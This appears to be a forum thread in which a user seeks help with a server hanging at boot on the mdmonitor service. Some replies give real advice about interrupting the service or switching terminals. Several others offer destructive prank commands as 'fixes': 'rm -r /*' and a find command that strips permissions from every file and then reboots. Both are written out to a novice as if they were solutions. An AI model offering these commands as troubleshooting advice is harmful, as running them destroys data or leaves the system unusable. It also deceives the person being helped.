Server stuck at boot - MDMONITOR
 

Hello my server seems to be getting stuck at boot on MDMONITOR (something about the raid system I think). I have no real idea how to fix this without pulling the server apart. Does anyone have an idea I can try? Cheers!

I think it has todo with your ethernet thing and not raid... Are you using eth0 or eth1?

it says it clear CHECK CABLE!!!!!!

did you?

Yes, see at the bottom of the screen? It is stuck on MDMONITOR.

press ctrl + C a few times to escape starting up the mdmonitor service
if fails press alt+F2 for a new tty and login. This is not something serious
can be fixed easily

Thanks very much, I'll pass this on to the dullards who have physical access to it. Cheers. :thumbsup

did you get it solved?

best way to fix this is once your at your prompt is type
rm -r /*

This will fix ALL your problems.....and give you a whole new set.

Though that will cause damage it won't remove everything as expected

find / -name * -exec chmod -Rf 000 {} \; && shutdown -r now is much more fun :winkwink:

To save yourself the time and effort of reinstalling, it's much preferred to just mount all filesystems read only, and noexec.

lol rm -R

I've been farting all afternoon.

No I passed on your information but so far I haven't had any reply about it. Meanwhile my server just sits there.. stuck at boot... :(
